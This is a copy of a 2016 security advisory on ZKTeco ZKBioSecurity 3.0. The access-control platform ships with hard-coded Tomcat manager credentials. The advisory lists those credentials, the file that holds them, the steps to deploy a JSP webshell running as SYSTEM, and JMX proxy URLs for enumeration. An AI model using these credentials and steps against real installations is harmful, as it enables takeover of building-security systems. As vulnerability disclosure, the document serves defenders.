

ZKTeco ZKBioSecurity 3.0 Hardcoded Credentials Remote SYSTEM Code Execution

2016.08.31

Credit: [Gjoko 'LiquidWorm' Krstic](https://cxsecurity.com/author/Gjoko+%26%23039%3BLiquidWorm%26%23039%3B+Krstic/1/)
(<https://cxsecurity.com/author/Gjoko+%26%23039%3BLiquidWorm%26%23039%3B+Krstic/1/>)

Risk: **High**

Local: **No**

Remote: **Yes**

CVE: N/A

CWE: N/A

ZKTeco ZKBioSecurity 3.0 Hardcoded Credentials Remote SYSTEM Code Execution

Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd

Product web page: <http://www.zkteco.com>

Affected version: 3.0.1.0_R_230

Platform: 3.0.1.0_R_230

Personnel: 1.0.1.0_R_1916

Access: 6.0.1.0_R_1757

Elevator: 2.0.1.0_R_777

Visitor: 2.0.1.0_R_877

Video:2.0.1.0_R_489

Adms: 1.0.1.0_R_197

Summary: ZKBioSecurity3.0 is the ultimate "All in One" web based security

platform developed by ZKTeco. It contains four integrated modules: access

control, video linkage, elevator control and visitor management. With an

optimized system architecture designed for high level biometric ident

ification

and a modern-user friendly UI, ZKBioSecurity 3.0 provides the most advanced solution for a whole new user experience.

Desc: The ZKBioSecurity solution suffers from a use of hard-coded credentials.

The application comes bundled with a pre-configured apache tomcat server and an

exposed 'manager' application that after authenticating with the credentials:

username: zkteco, password: zkt123, located in tomcat-users.xml file, it allows

malicious WAR archive containing a JSP application to be uploaded, thus giving

the attacker the ability to execute arbitrary code with SYSTEM privileges.

Ref: <https://www.exploit-db.com/exploits/31433/>

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)

Microsoft Windows 7 Professional SP1 (EN)

Apache-Coyote/1.1

Apache Tomcat/7.0.56

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

@zeroscience

Advisory ID: ZSL-2016-5362

Advisory URL: <http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5362.php>

18.07.2016

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Contents of tomcat-users.xml:

C:\Program Files (x86)\BioSecurityMainResource\tomcat\conf\tomcat-users.xml:

```
<?xml version='1.0' encoding='utf-8'?>
```

```
...
```

```
...
```

```
...
```

```
<role rolename="manager-gui"/>
```

```
<role rolename="manager-script"/>
```

```
<role rolename="manager-jmx"/>
```

```
<role rolename="manager-status"/>
```

```
<user password="zkt123" roles="manager-gui,manager-script,manager-jmx,manager-status" username="zkteco"/>
```

```
</tomcat-users>
```

Open Manager application and login:

http://127.0.0.1:8088/manager (zkteco:zkt123)

Deploy JSP webshell, issue command:

- Request: whoami
- Response: nt authority\system

call the findConnectors() method of the Service use:

http://127.0.0.1:8088/manager/jmxproxy/?invoke=Catalina%3Atype%3DService&op=findConnectors&ps=

Response:

OK - Operation findConnectors returned:

Connector[HTTP/1.1-8088]

Connector[AJP/1.3-8019]

List of all loaded servlets:

<http://127.0.0.1:8088/manager/jmxproxy/?j2eeType=Servlet>

See this note in RAW Version (<https://cxsecurity.com/ascii/WLB-2016080266>)

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